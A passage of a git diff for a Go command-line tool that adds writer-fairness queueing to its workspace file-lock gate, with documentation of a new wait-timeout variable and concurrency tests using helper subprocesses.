"BD_GIT_HOOK="); ok { + hookVal = v + } + } + if hookVal == "" { + t.Fatal("hookSubprocessEnv does not set BD_GIT_HOOK; hook subprocesses would wait on the workspace gate") + } + t.Setenv("BD_GIT_HOOK", hookVal) + if got := sharedGateWait(); got != 0 { + t.Fatalf("sharedGateWait() in a hook subprocess env = %s, want 0 (fail fast)", got) + } + + beadsDir := newGateTestWorkspace(t) + holdWorkspaceGateExclusive(t, beadsDir) + start := time.Now() + var err error + captureStderr(t, func() { + err = acquireCommandWorkspaceGates(context.Background(), &cobra.Command{Use: "export"}, beadsDir) + }) + if err == nil { + t.Fatal("hook subprocess acquired the gate under an exclusive holder") + } + if waited := time.Since(start); waited > time.Second { + t.Fatalf("hook subprocess waited %s on the gate", waited) + } +} + +// In shared-server mode the exclusive holder may be another project's +// operation, so the error must not claim it is on "this workspace". +func TestAcquireCommandWorkspaceGatesSharedServerErrorText(t *testing.T) { + resetGateTestEnv(t) + t.Cleanup(releaseWorkspaceGates) + beadsDir := newGateTestWorkspace(t) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + t.Setenv("BEADS_SHARED_SERVER_DIR", t.TempDir()) + t.Setenv(sharedGateWaitEnv, "200ms") + holdWorkspaceGateExclusive(t, beadsDir) + + var err error + stderr := captureStderr(t, func() { + err = acquireCommandWorkspaceGates(context.Background(), &cobra.Command{Use: "list"}, beadsDir) + }) + if err == nil { + t.Fatal("acquired under an exclusive holder") + } + for _, want := range []string{"running on the shared server (possibly from another project)", "test maintenance"} { + if !strings.Contains(stderr, want) { + t.Errorf("stderr %q missing %q", stderr, want) + } + } +} + +// bd edit's $EDITOR (which can outlive bd by hours) must not inherit the +// shared-hold marker. +func TestEnvWithoutSharedHoldMarker(t *testing.T) { + t.Setenv(workspacegate.InheritedHoldEnv, "12345") + t.Setenv("BEADS_GATE_TEST_KEEP", "1") + env := envWithoutSharedHoldMarker() + var kept bool + for _, kv := range env { + if strings.HasPrefix(kv, workspacegate.InheritedHoldEnv+"=") { + t.Fatalf("marker leaked into editor env: %q", kv) + } + kept = kept || kv == "BEADS_GATE_TEST_KEEP=1" + } + if !kept { + t.Fatal("envWithoutSharedHoldMarker dropped unrelated variables") + } +} diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index 0977b7b3f..0bb16251e 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -509,7 +509,8 @@ Selected commonly-used variables: | `BEADS_ACTOR` | Actor identity (preferred over `BD_ACTOR`, which is a deprecated alias) | | `BEADS_IDENTITY` | Sender identity for `bd mail` | | `BEADS_FSCK_TIMEOUT` | Runtime-only timeout for the pre-push `dolt fsck --quiet` integrity check (default `30s`) | -| `BEADS_INIT_GATE_TIMEOUT` | How long `bd init` waits for another bd process (another init, or live commands on the same workspace or shared server) to release the workspace gate before refusing (default `30s`; accepts durations like `2m` or bare seconds like `90`) | +| `BEADS_INIT_GATE_TIMEOUT` | How long `bd init` waits for another bd process (another init, or live commands on the same workspace or shared server) to release the workspace gate before refusing (default `60s`; accepts durations like `2m` or bare seconds like `90`) | +| `BEADS_GATE_WAIT_TIMEOUT` | How long an ordinary bd command waits while a maintenance operation (`bd init`, backup restore, migrate, bootstrap — on the same workspace, or on any project sharing the server in shared-server mode) holds or is queued for the workspace gate, before failing (default `30s`; accepts durations like `1m` or bare seconds like `90`; `0` fails immediately, for scripts that want the old fail-fast behavior). Queued maintenance operations run one after another and a waiting command waits for all of them; a queued one only delays a command, never fails it, and stops queueing others after 10s if it cannot get in. Git hooks always fail fast | | `BEADS_MIGRATION_WATCHDOG_INTERVAL` | Interval between soft WARN lines while a schema migration's SQL keeps running (default `5m`; accepts durations like `10m` or bare seconds like `90`). Observability only — it never aborts a migration | | `BEADS_DOLT_SERVER_MODE`, `BEADS_DOLT_SHARED_SERVER`, `BEADS_DOLT_DATA_DIR`, `BEADS_DOLT_PORT`, ... | Embedded/server Dolt overrides | | `BEADS_DOLT_BIN` | Pin the exact external `dolt` CLI binary managed proxied-server mode spawns, overriding PATH lookup (highest precedence; an explicit path that fails validation is an error, not a silent fallback to PATH). On Windows the executable extension may be omitted — `C:\tools\dolt` finds `C:\tools\dolt.exe` via PATHEXT, though a file at the exact spelled path wins if both exist | diff --git a/internal/workspacegate/gate.go b/internal/workspacegate/gate.go index 8fc62d18f..f1f8d821c 100644 --- a/internal/workspacegate/gate.go +++ b/internal/workspacegate/gate.go @@ -45,6 +45,7 @@ import ( "path/filepath" "runtime" "sort" + "strconv" "strings" "sync" "syscall" @@ -64,20 +65,15 @@ const ( // Shared is held by normal commands for the lifetime of their open // store or UOW provider. Any number of shared holders coexist. // - // Starvation note: a rolling sequence of shared holders (e.g. one bd - // command after another against a busy workspace) can starve an - // Exclusive acquirer indefinitely — acquisition is LOCK_NB polling - // with no intent signal, so a new shared holder has no way to know an - // exclusive attempt is queued and back off. A future extension could - // have Exclusive publish an advisory "waiting" marker (parallel to - // the holder-info sidecar) that new Shared acquisitions check and - // voluntarily defer to, but that does not exist yet: Options.Wait on - // an Exclusive acquisition is not a fairness guarantee. + // Fairness: a waiting Shared acquisition (Options.Wait > 0) defers to a + // queued Exclusive acquirer — see "Writer fairness" on Acquire — so a + // rolling sequence of short shared holders cannot starve maintenance. + // A fail-fast Shared attempt (Wait <= 0) does not consult the queue. Shared Mode = iota // Exclusive is held by maintenance operations. It conflicts with - // every other holder, shared or exclusive. See the starvation note - // on Shared: nothing here prevents shared holders from starving an - // Exclusive acquirer. + // every other holder, shared or exclusive. A waiting Exclusive + // acquisition publishes its intent so new waiting Shared acquisitions + // queue behind it (see Acquire). Exclusive ) @@ -98,14 +94,12 @@ var ErrBusy = errors.New("workspace gate busy") // attempt with no diagnostics callback. type Options struct { // Wait bounds how long Acquire keeps retrying after the first busy - // attempt. Zero or negative means exactly one non-blocking try. - // The underlying blocking lock primitives have no deadline support, - // so waiting is implemented as timed polling of the non-blocking - // primitive. This is not a fairness guarantee: see the starvation - // note on Exclusive — a Wait on an Exclusive acquisition can still - // exhaust its budget against a rolling sequence of Shared holders - // that each individually released before it, none of which had any - // signal that an exclusive acquirer was waiting. + // attempt. Zero or negative means exactly one non-blocking try (which + // also opts out of the writer-fairness queue in both directions: a + // fail-fast Exclusive publishes no intent, and a fail-fast Shared + // ignores published intent). The underlying blocking lock primitives + // have no deadline support, so waiting is implemented as timed polling + // of the non-blocking primitive. Wait time.Duration // PollInterval is the retry cadence while waiting (default 100ms). PollInterval time.Duration @@ -118,6 +112,14 @@ type Options struct { // effort, from the advisory sidecar). AcquireAll fires it at most // once across the whole gate set. OnWait func(holder string) + // IgnoreQueuedExclusive makes a waiting Shared acquisition skip the + // writer-fairness check. Set it only when an ANCESTOR process already + // holds this gate shared (see InheritedSharedHold): the queued + // exclusive acquirer cannot proceed until that ancestor releases, and + // the ancestor may be waiting on this process, so queueing would turn + // a nested bd invocation into a deadlock that only the wait bound + // breaks. Ignored for Exclusive. + IgnoreQueuedExclusive bool } // Gate identifies one gate file. Construct via ForWorkspace or @@ -231,8 +233,19 @@ type Info struct { func (g Gate) infoPath() string { return g.path + ".info" } -func (g Gate) readInfo() *Info { - data, err := os.ReadFile(g.infoPath()) +// intentPath is the writer-fairness lock: a waiting Exclusive acquirer +// holds it exclusively while it polls the gate, and waiting Shared +// acquirers defer while it is held. intentInfoPath is its advisory +// holder-info sidecar (a separate file because Windows LockFileEx locks +// are mandatory byte-range locks: other processes cannot read a locked +// file's contents). Both match the "*.gate.lock*" gitignore pattern. +func (g Gate) intentPath() string { return g.path + ".intent" } +func (g Gate) intentInfoPath() string { return g.path + ".intent.info" } + +func (g Gate) readInfo() *Info { return readInfoAt(g.infoPath()) } + +func readInfoAt(path string) *Info { + data, err := os.ReadFile(path) //nolint:gosec // G304: path derives from the gate location this package computed if err != nil { return nil } @@ -262,16 +275,7 @@ func (g Gate) busyDetail(mode Mode) string { } return "another bd process (no holder info recorded)" } - desc := fmt.Sprintf("pid %d", info.PID) - if info.Hostname != "" { - desc += " on " + info.Hostname - } - if info.Reason != "" { - desc += " (" + info.Reason + ")" - } - if !info.StartedAt.IsZero() { - desc += " since " + info.StartedAt.UTC().Format(time.RFC3339) - } + desc := info.describe() stale := func() bool { host, _ := os.Hostname() return host == info.Hostname && !pidAlive(info.PID) @@ -293,6 +297,42 @@ func (g Gate) busyDetail(mode Mode) string { return "possibly " + desc + ", or shared holders" } +// describe renders a holder record as "pid N on host (reason) since T". +func (info *Info) describe() string { + desc := fmt.Sprintf("pid %d", info.PID) + if info.Hostname != "" { + desc += " on " + info.Hostname + } + if info.Reason != "" { + desc += " (" + info.Reason + ")" + } + if !info.StartedAt.IsZero() { + desc += " since " + info.StartedAt.UTC().Format(time.RFC3339) + } + return desc +} + +// queuedDetail describes the queued exclusive acquirer a waiting Shared +// attempt is deferring to. The intent lock is held whenever this is +// called, so the sidecar (written right after the lock is taken) normally +// names a live process; it is only absent in the brief window before the +// write or when the write failed. +func (g Gate) queuedDetail() string { + info := readInfoAt(g.intentInfoPath()) + if info != nil { + // A sidecar whose removal failed (Windows refuses to delete a file + // another process has open) can outlive its writer; never present + // a dead process as the queued operation. + if host, _ := os.Hostname(); host == info.Hostname && !pidAlive(info.PID) { + info = nil + } + } + if info == nil { + return "a bd maintenance operation queued for exclusive access" + } + return "a bd maintenance operation queued for exclusive access: " + info.describe() +} + // pidAlive reports best-effort process liveness via the zero-signal // probe. Where the probe is unsupported it errs toward alive, which only // makes the diagnostic more cautious (the stale record is then presented @@ -367,6 +407,54 @@ func (h *Handle) Release() error { // inherited by spawned children (Go opens files close-on-exec on Unix and // non-inheritable on Windows), so a dolt child outliving its bd parent // does not keep the gate held. +// +// Writer fairness. flock and LockFileEx grant no queueing guarantees, and +// acquisition is non-blocking polling anyway, so without help a steady +// stream of short shared holders — each overlapping the next — would keep +// an Exclusive waiter out until its budget ran dry. A second lock file, +// the intent lock (.intent), fixes that: +// +// - a waiting Exclusive acquisition (Wait > 0) whose first attempt is +// busy takes the intent lock EXCLUSIVELY (non-blocking, retried each +// poll), holds it while it polls the gate, and drops it as soon as it +// owns the gate, gives up, or has held it for maxIntentHold without +// getting in (after which it keeps polling unqueued); +// - a waiting Shared acquisition (Wait > 0) checks the intent lock before +// every attempt but the last (a momentary non-blocking SHARED probe) +// and, while it is held, does not touch the gate — it waits, within its +// own budget, exactly as if the gate were held exclusively. Its final +// attempt tries the gate regardless. +// +// The two bounds keep the queue from ever costing availability. A queue can +// DELAY a shared acquirer but never FAIL it: the final attempt ignores +// intent, so a shared acquisition fails only when the gate itself is held +// exclusively. And a doomed exclusive waiter — one blocked behind a shared +// holder that will not leave soon (a --watch, a tail --follow, an open +// editor, a long-lived embedder) — stops queueing everyone else after +// maxIntentHold instead of for its whole budget. In-flight ordinary commands +// drain far faster than that, so the fairness win is kept. +// +// Queued exclusive operations still run one after another: while they take +// turns on the gate, a waiting shared acquirer waits for all of them (each +// new exclusive waiter re-publishes intent), bounded by its own budget. +// +// Shared holders that are already in keep running; the exclusive waiter +// waits only for them to drain, so its wait is bounded by the longest +// in-flight command rather than by the arrival rate. A shared acquirer that +// probed just before the intent was published can still slip in once, which +// costs at most one more command's duration. +// +// Stale intent cannot outlive its owner: it is an OS advisory lock, released +// by the kernel when the process exits or crashes (on every platform), never +// a marker file whose existence means anything. The intent file and its +// holder-info sidecar may linger; both are ignored whenever the lock itself +// is free. Every intent-lock failure other than "busy" (unsupported +// filesystem, permissions) degrades to the pre-fairness behavior instead of +// failing the acquisition: fairness is advisory, the gate is the authority. +// +// Lock order is unchanged in substance: the intent lock of a gate is taken +// only while acquiring that gate, so it slots directly before the gate in +// AcquireAll's sorted total order and cannot form a cycle. func (g Gate) Acquire(ctx context.Context, mode Mode, opts Options) (*Handle, error) { if g.path == "" { return nil, errors.New("workspacegate: zero Gate; use ForWorkspace/ForPhysicalRoot") @@ -396,32 +484,62 @@ func (g Gate) Acquire(ctx context.Context, mode Mode, opts Options) (*Handle, er if mode == Exclusive { try = lockfile.FlockExclusiveNonBlock } + waiting := opts.Wait > 0 + defersToIntent := waiting && mode == Shared && !opts.IgnoreQueuedExclusive + publishesIntent := waiting && mode == Exclusive + var intentSince time.Time + + // intent is the writer-fairness lock while this Exclusive acquisition + // holds it. Released on every return path — after writeInfo on success, + // so a shared waiter never sees the gate unqueued-but-unclaimed. + var intent *os.File + defer func() { g.releaseIntent(intent) }() notified := false for { - err := try(f) - if err == nil { - h := &Handle{gate: g, mode: mode, f: f} - if mode == Exclusive { - g.writeInfo(opts.Reason) + var detail string + // The final attempt (budget spent) ignores intent: queued + // maintenance may delay a shared acquirer, never fail it. + final := time.Until(deadline) <= 0 + if defersToIntent && !final && g.ExclusiveQueued() { + detail = g.queuedDetail() + } else { + err := try(f) + if err == nil { + h := &Handle{gate: g, mode: mode, f: f} + if mode == Exclusive { + g.writeInfo(opts.Reason) + } + return h, nil } - return h, nil - } - if !errors.Is(err, lockfile.ErrLockBusy) && !lockfile.IsLocked(err) { - _ = f.Close() - return nil, fmt.Errorf("workspacegate: lock %s: %w", g.path, err) + if !errors.Is(err, lockfile.ErrLockBusy) && !lockfile.IsLocked(err) { + _ = f.Close() + return nil, fmt.Errorf("workspacegate: lock %s: %w", g.path, err) + } + detail = g.busyDetail(mode) } if !notified { notified = true if opts.OnWait != nil { - opts.OnWait(g.busyDetail(mode)) + opts.OnWait(detail) } } remaining := time.Until(deadline) - if opts.Wait <= 0 || remaining <= 0 { + if !waiting || remaining <= 0 { _ = f.Close() return nil, fmt.Errorf("workspacegate: %s (%s mode) held by %s: %w", - g.path, mode, g.busyDetail(mode), ErrBusy) + g.path, mode, detail, ErrBusy) + } + if intent != nil && time.Since(intentSince) >= maxIntentHold { + // Doomed or very slow: stop holding everyone else back. + g.releaseIntent(intent) + intent = nil + publishesIntent = false + } + if publishesIntent && intent == nil { + if intent = g.tryTakeIntent(opts.Reason); intent != nil { + intentSince = time.Now() + } } // Never sleep past the wait budget: a Wait shorter than the poll // interval must still come back within (about) Wait, and the @@ -439,13 +557,71 @@ func (g Gate) Acquire(ctx context.Context, mode Mode, opts Options) (*Handle, er } } -// writeInfo records the advisory exclusive-holder sidecar. Failures are +// maxIntentHold caps how long one Exclusive acquisition keeps the intent +// lock without getting the gate. It must stay well below the shared wait +// budget callers use (bd: BEADS_GATE_WAIT_TIMEOUT, default 30s) and well +// above how long ordinary in-flight commands take to drain. A var so tests +// can shorten it. +var maxIntentHold = 10 * time.Second + +// ExclusiveQueued reports whether a waiting Exclusive acquirer currently +// holds this gate's intent lock. The probe opens read-only and treats a +// missing file as "no intent", so ordinary shared commands never create +// intent files; any error other than "busy" reads as "not queued" (see the +// degradation rule on Acquire). +func (g Gate) ExclusiveQueued() bool { + f, err := os.OpenFile(g.intentPath(), os.O_RDONLY, 0o600) + if err != nil { + return false + } + defer f.Close() + lerr := lockfile.FlockSharedNonBlock(f) + if lerr == nil { + _ = lockfile.FlockUnlock(f) + return false + } + return errors.Is(lerr, lockfile.ErrLockBusy) || lockfile.IsLocked(lerr) +} + +// tryTakeIntent makes one non-blocking attempt at the intent lock and, on +// success, records the advisory intent sidecar. It returns nil when the +// lock is busy (another exclusive waiter is queued first; this acquirer +// keeps polling the gate and retries the intent next round) or unusable. +func (g Gate) tryTakeIntent(reason string) *os.File { + f, err := os.OpenFile(g.intentPath(), os.O_CREATE|os.O_RDWR, 0o600) + if err != nil { + return nil + } + if err := lockfile.FlockExclusiveNonBlock(f); err != nil { + _ = f.Close() + return nil + } + writeInfoAt(g.intentInfoPath(), reason) + return f +} + +// releaseIntent drops a held intent lock (nil-safe). As with the gate's own +// sidecar, the intent sidecar is removed BEFORE unlocking so a late removal +// can never delete the next waiter's record. +func (g Gate) releaseIntent(f *os.File) { + if f == nil { + return + } + _ = os.Remove(g.intentInfoPath()) + _ = lockfile.FlockUnlock(f) + _ = f.Close() +} + +// writeInfo records the advisory exclusive-holder sidecar. +func (g Gate) writeInfo(reason string) { writeInfoAt(g.infoPath(), reason) } + +// writeInfoAt writes an advisory holder-info sidecar. Failures are // deliberately swallowed: diagnostics must never block the operation that // already holds the authoritative lock. The write goes to an O_EXCL temp // file renamed into place, which (a) never follows a pre-planted symlink // at either path — plain WriteFile would truncate the symlink's target — // and (b) is atomic, so concurrent readers cannot see torn JSON. -func (g Gate) writeInfo(reason string) { +func writeInfoAt(path, reason string) { host, _ := os.Hostname() data, err := json.Marshal(Info{ PID: os.Getpid(), @@ -456,7 +632,7 @@ func (g Gate) writeInfo(reason string) { if err != nil { return } - tmp := fmt.Sprintf("%s.%d.tmp", g.infoPath(), os.Getpid()) + tmp := fmt.Sprintf("%s.%d.tmp", path, os.Getpid()) _ = os.Remove(tmp) f, err := os.OpenFile(tmp, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600) //nolint:gosec // G304: path derives from the gate location this package computed, not request input; the preceding os.Remove clears a pre-planted file, and O_EXCL closes the remove-then-open window so a symlink replanted in between is refused rather than followed if err != nil { @@ -469,16 +645,40 @@ func (g Gate) writeInfo(reason string) { return } // Rename replaces a symlink itself rather than following it. - if err := os.Rename(tmp, g.infoPath()); err != nil { + if err := os.Rename(tmp, path); err != nil { // Windows can refuse to replace an existing file; retry once // after removing the destination. Still best effort. - _ = os.Remove(g.infoPath()) - if err := os.Rename(tmp, g.infoPath()); err != nil { + _ = os.Remove(path) + if err := os.Rename(tmp, path); err != nil { _ = os.Remove(tmp) } } } +// InheritedHoldEnv names the environment variable a bd process sets (to its +// PID) while it holds its command's gates SHARED, so that bd processes it +// spawns — `bd orphans` running `bd close`, git hooks under a bd-driven +// commit — can tell that an ancestor already holds the gate. See +// Options.IgnoreQueuedExclusive and InheritedSharedHold. +const InheritedHoldEnv = "BEADS_GATE_SHARED_HOLDER_PID" + +// InheritedSharedHold reports whether InheritedHoldEnv names a live process +// other than this one, i.e. whether this process was (probably) spawned by a +// bd command that still holds its gates shared. A stale or recycled PID only +// costs fairness, never safety: the flag merely skips the writer queue, and +// the gate itself still excludes every exclusive holder. +func InheritedSharedHold() bool { + raw := strings.TrimSpace(os.Getenv(InheritedHoldEnv)) + if raw == "" { + return false + } + pid, err := strconv.Atoi(raw) + if err != nil || pid == os.Getpid() { + return false + } + return pidAlive(pid) +} + // MultiHandle holds several gates acquired by AcquireAll and releases // them in reverse acquisition order. type MultiHandle struct { @@ -540,6 +740,9 @@ func AcquireAll(ctx context.Context, mode Mode, opts Options, gates ...Gate) (*M m := &MultiHandle{handles: make([]*Handle, 0, len(ordered))} for _, g := range ordered { if opts.Wait > 0 { + // An exhausted budget leaves later gates one non-blocking + // attempt (Wait 0), which ignores the writer-fairness queue — + // the same as the final attempt of a waiting acquisition. perGate.Wait = time.Until(deadline) if perGate.Wait < 0 { perGate.Wait = 0 diff --git a/internal/workspacegate/gate_test.go b/internal/workspacegate/gate_test.go index 4bcdd3ff1..b838e0f6d 100644 --- a/internal/workspacegate/gate_test.go +++ b/internal/workspacegate/gate_test.go @@ -12,6 +12,8 @@ import ( "path/filepath" "runtime" "strings" + "sync" + "sync/atomic" "testing" "time" @@ -34,6 +36,10 @@ func TestMain(m *testing.M) { // // hold — acquire, print ACQUIRED, // hold until stdin closes, release, print RELEASED. +// intent — hold the gate's writer-fairness intent lock +// (as a queued exclusive acquirer does) until stdin closes. +// inherited-acquire — waiting shared acquisition with +// IgnoreQueuedExclusive = InheritedSharedHold(); prints the outcome. // sleep — sleep long without touching any gate (handle-inheritance probe). // exit — exit immediately, so the caller has a real, now-dead PID (used // to fabricate a stale holder-info sidecar in tests). @@ -64,6 +70,43 @@ func helperMain() { os.Exit(1) } fmt.Println("RELEASED") + case "intent": + // Hold the writer-fairness intent lock for /.beads's gate, as + // a queued exclusive acquirer would, until stdin closes. + g, err := ForWorkspace(filepath.Join(os.Args[1], ".beads")) + if err != nil { + fmt.Println("ERR", err) + os.Exit(1) + } + f := g.tryTakeIntent("test-intent-helper") + if f == nil { + fmt.Println("ERR intent lock unavailable") + os.Exit(1) + } + fmt.Println("ACQUIRED") + _, _ = io.Copy(io.Discard, os.Stdin) + g.releaseIntent(f) + fmt.Println("RELEASED") + case "inherited-acquire": + // Waiting shared acquisition the way bd's chokepoint does it, + // honoring an inherited shared hold; reports how long it took. + g, err := ForWorkspace(filepath.Join(os.Args[1], ".beads")) + if err != nil { + fmt.Println("ERR", err) + os.Exit(1) + } + inherited := InheritedSharedHold() + start := time.Now() + h, err := g.Acquire(context.Background(), Shared, Options{ + Wait: 3 * time.Second, PollInterval: 20 * time.Millisecond, + IgnoreQueuedExclusive: inherited, + }) + if err != nil { + fmt.Println("ERR", err) + os.Exit(1) + } + _ = h.Release() + fmt.Printf("inherited=%v waited_ms=%d\n", inherited, time.Since(start).Milliseconds()) case "sleep": time.Sleep(30 * time.Second) } @@ -595,13 +638,20 @@ func (h *holderProc) stop() { // spawnHolder starts this test binary in helper mode and waits until it // reports the lock acquired. func spawnHolder(t *testing.T, dir, mode string) *holderProc { + t.Helper() + return spawnHelperProc(t, "hold", dir, mode) +} + +// spawnHelperProc starts this test binary in the given helper mode and +// waits for it to print ACQUIRED. +func spawnHelperProc(t *testing.T, helperMode string, args ...string) *holderProc { t.Helper() exe, err := os.Executable() if err != nil { t.Fatalf("os.Executable: %v", err) } - cmd := exec.Command(exe, dir, mode) - cmd.Env = append(bazeltest.ShardFreeEnv(os.Environ()), "WORKSPACEGATE_HELPER=hold") + cmd := exec.Command(exe, args...) + cmd.Env = append(bazeltest.ShardFreeEnv(os.Environ()), "WORKSPACEGATE_HELPER="+helperMode) stdin, err := cmd.StdinPipe() if err != nil { t.Fatal(err) @@ -727,3 +777,543 @@ func TestSpawnedChildDoesNotInheritGate(t *testing.T) { } _ = h2.Release() } + +// --- writer fairness (exclusive intent) --- + +// A continuous stream of overlapping shared holders keeps the gate busy +// forever, so without writer fairness a waiting exclusive acquirer would +// exhaust its budget. With it, the exclusive acquirer gets the gate as soon +// as the shared holders that were already in drain, and the stream resumes +// after it releases. +func TestExclusiveWaiterNotStarvedBySharedStream(t *testing.T) { + g, _ := testGate(t) + first := mustAcquire(t, g, Shared, Options{}) + + const ( + workers = 4 + hold = 150 * time.Millisecond + ) + stop := make(chan struct{}) + done := make(chan struct{}) + var acquired, failed atomic.Int64 + go func() { + defer close(done) + var wg sync.WaitGroup + for w := 0; w < workers; w++ { + wg.Add(1) + go func(w int) { + defer wg.Done() + // Stagger so the gate is never free between holders. + time.Sleep(time.Duration(w) * hold / workers) + for { + select { + case <-stop: + return + default: + } + h, err := g.Acquire(context.Background(), Shared, + Options{Wait: 10 * time.Second, PollInterval: 10 * time.Millisecond}) + if err != nil { + failed.Add(1) + continue + } + acquired.Add(1) + time.Sleep(hold) + _ = h.Release() + } + }(w) + } + wg.Wait() + }() + t.Cleanup(func() { close(stop); <-done }) + + // Let the stream get going, then release the original holder: from + // here on the gate is only ever held by overlapping stream members. + time.Sleep(2 * hold) + _ = first.Release() + + start := time.Now() + h, err := g.Acquire(context.Background(), Exclusive, + Options{Wait: 5 * time.Second, PollInterval: 10 * time.Millisecond, Reason: "test exclusive waiter"}) + if err != nil { + t.Fatalf("exclusive acquirer starved by a shared stream: %v", err) + } + waited := time.Since(start) + // Bounded by the in-flight holders draining (one hold), plus slack. + if waited > 2*time.Second { + t.Errorf("exclusive waited %s behind a stream of %s shared holds", waited, hold) + } + if g.ExclusiveQueued() { + t.Error("intent lock still held after the exclusive acquirer got the gate") + } + before := acquired.Load() + time.Sleep(3 * hold) + if got := acquired.Load(); got != before { + t.Errorf("shared stream acquired %d times while the exclusive holder held the gate", got-before) + } + _ = h.Release() + + // The stream resumes once the exclusive holder is gone. + deadline := time.Now().Add(3 * time.Second) + for acquired.Load() == before && time.Now().Before(deadline) { + time.Sleep(10 * time.Millisecond) + } + if acquired.Load() == before { + t.Error("shared stream did not resume after the exclusive holder released") + } + if n := failed.Load(); n != 0 { + t.Errorf("%d shared acquisitions failed; with a 10s budget all should wait", n) + } +} + +// A waiting shared acquirer defers to queued intent (and says so), but a +// fail-fast one and one whose ancestor holds the gate do not. +func TestSharedWaitDefersToQueuedExclusive(t *testing.T) { + g, _ := testGate(t) + intent := g.tryTakeIntent("test queued maintenance") + if intent == nil { + t.Fatal("tryTakeIntent on a fresh gate returned nil") + } + t.Cleanup(func() { g.releaseIntent(intent) }) + + // Deferred for its whole budget, then the final attempt ignores the + // queue: delayed, never failed, because nothing holds the gate. + var holder string + start := time.Now() + h, err := g.Acquire(context.Background(), Shared, Options{ + Wait: 300 * time.Millisecond, PollInterval: 20 * time.Millisecond, + OnWait: func(h string) { holder = h }, + }) + if err != nil { + t.Fatalf("waiting shared under queued intent with a free gate: %v, want success on the final attempt", err) + } + _ = h.Release() + if waited := time.Since(start); waited < 250*time.Millisecond { + t.Errorf("shared acquirer did not defer to queued intent (acquired after %s)", waited) + } + if !strings.Contains(holder, "queued for exclusive access") || !strings.Contains(holder, "test queued maintenance") { + t.Errorf("wait notice %q does not name the queued exclusive acquirer", holder) + } + + h = mustAcquire(t, g, Shared, Options{}) // fail-fast: legacy behavior + _ = h.Release() + h = mustAcquire(t, g, Shared, Options{Wait: time.Second, IgnoreQueuedExclusive: true}) + _ = h.Release() + + // Once the intent is withdrawn, a waiting shared acquirer proceeds. + g.releaseIntent(intent) + intent = nil + h = mustAcquire(t, g, Shared, Options{Wait: time.Second}) + _ = h.Release() +} + +// Ordinary shared traffic never creates intent files, and an uncontended +// exclusive acquisition does not either; only a waiting exclusive does, and +// it withdraws its intent when it gives up. +func TestIntentLifecycle(t *testing.T) { + g, _ := testGate(t) + h := mustAcquire(t, g, Shared, Options{Wait: time.Second}) + _ = h.Release() + h = mustAcquire(t, g, Exclusive, Options{Wait: time.Second}) + _ = h.Release() + if _, err := os.Stat(g.intentPath()); !os.IsNotExist(err) { + t.Fatalf("intent file exists without any contended exclusive wait (stat err %v)", err) + } + + sh := mustAcquire(t, g, Shared, Options{}) + _, err := g.Acquire(context.Background(), Exclusive, + Options{Wait: 300 * time.Millisecond, PollInterval: 20 * time.Millisecond, Reason: "test giving up"}) + if !errors.Is(err, ErrBusy) { + t.Fatalf("exclusive under shared holder: %v, want ErrBusy", err) + } + if _, err := os.Stat(g.intentPath()); err != nil { + t.Fatalf("contended exclusive wait did not publish intent: %v", err) + } + if g.ExclusiveQueued() { + t.Error("intent still held after the exclusive acquirer gave up") + } + if _, err := os.Stat(g.intentInfoPath()); !os.IsNotExist(err) { + t.Errorf("intent sidecar left behind by an orderly give-up (stat err %v)", err) + } + _ = sh.Release() +} + +// Intent from a crashed exclusive waiter is released by the OS with the +// process; the leftover intent sidecar must not hold anyone back. +func TestStaleIntentFromCrashedProcess(t *testing.T) { + dir := t.TempDir() + g, err := ForWorkspace(filepath.Join(dir, ".beads")) + if err != nil { + t.Fatal(err) + } + hp := spawnHelperProc(t, "intent", dir) + + var holder string + h0, err := g.Acquire(context.Background(), Shared, Options{ + Wait: 200 * time.Millisecond, PollInterval: 20 * time.Millisecond, + OnWait: func(h string) { holder = h }, + }) + if err != nil { + t.Fatalf("shared wait under another process's intent: %v", err) + } + _ = h0.Release() + if !strings.Contains(holder, fmt.Sprintf("pid %d", hp.cmd.Process.Pid)) { + t.Fatalf("wait notice %q does not name the intent holder pid %d", holder, hp.cmd.Process.Pid) + } + + if err := hp.cmd.Process.Kill(); err != nil { + t.Fatalf("kill helper: %v", err) + } + <-hp.drained + _ = hp.cmd.Wait() + if _, err := os.Stat(g.intentInfoPath()); err != nil { + t.Fatalf("expected the crashed helper's intent sidecar to linger: %v", err) + } + + start := time.Now() + h, err := g.Acquire(context.Background(), Shared, + Options{Wait: 10 * time.Second, PollInterval: 25 * time.Millisecond}) + if err != nil { + t.Fatalf("shared acquisition after intent holder crashed: %v", err) + } + _ = h.Release() + if waited := time.Since(start); waited > 3*time.Second { + t.Errorf("shared acquisition took %s after the intent holder died", waited) + } + // A new exclusive waiter can take the intent over the stale sidecar. + if f := g.tryTakeIntent("test successor"); f == nil { + t.Error("intent lock not reacquirable after its holder crashed") + } else { + g.releaseIntent(f) + } +} + +func TestContextCancelWhileDeferringToIntent(t *testing.T) { + g, _ := testGate(t) + intent := g.tryTakeIntent("test queued maintenance") + if intent == nil { + t.Fatal("tryTakeIntent returned nil") + } + t.Cleanup(func() { g.releaseIntent(intent) }) + + ctx, cancel := context.WithTimeout(context.Background(), 150*time.Millisecond) + defer cancel() + start := time.Now() + _, err := g.Acquire(ctx, Shared, Options{Wait: 30 * time.Second}) + if !errors.Is(err, context.DeadlineExceeded) { + t.Fatalf("err = %v, want context.DeadlineExceeded", err) + } + if waited := time.Since(start); waited > 3*time.Second { + t.Fatalf("cancellation took %s to stop the wait", waited) + } +} + +func TestInheritedSharedHold(t *testing.T) { + for _, tc := range []struct { + name, val string + want bool + }{ + {"unset", "", false}, + {"garbage", "not-a-pid", false}, + {"self", fmt.Sprint(os.Getpid()), false}, + {"dead", fmt.Sprint(deadPID(t)), false}, + {"live parent", fmt.Sprint(os.Getppid()), true}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Setenv(InheritedHoldEnv, tc.val) + if got := InheritedSharedHold(); got != tc.want { + t.Fatalf("InheritedSharedHold() with %s=%q = %v, want %v", InheritedHoldEnv, tc.val, got, tc.want) + } + }) + } +} + +// setMaxIntentHold shortens maxIntentHold for one test. +func setMaxIntentHold(t *testing.T, d time.Duration) { + t.Helper() + old := maxIntentHold + maxIntentHold = d + t.Cleanup(func() { maxIntentHold = old }) +} + +// acquireAsync runs AcquireAll in a goroutine; the result arrives on the +// returned channel and any acquired handle is released at test end. +type acqResult struct { + h *MultiHandle + err error + at time.Time +} + +func acquireAsync(t 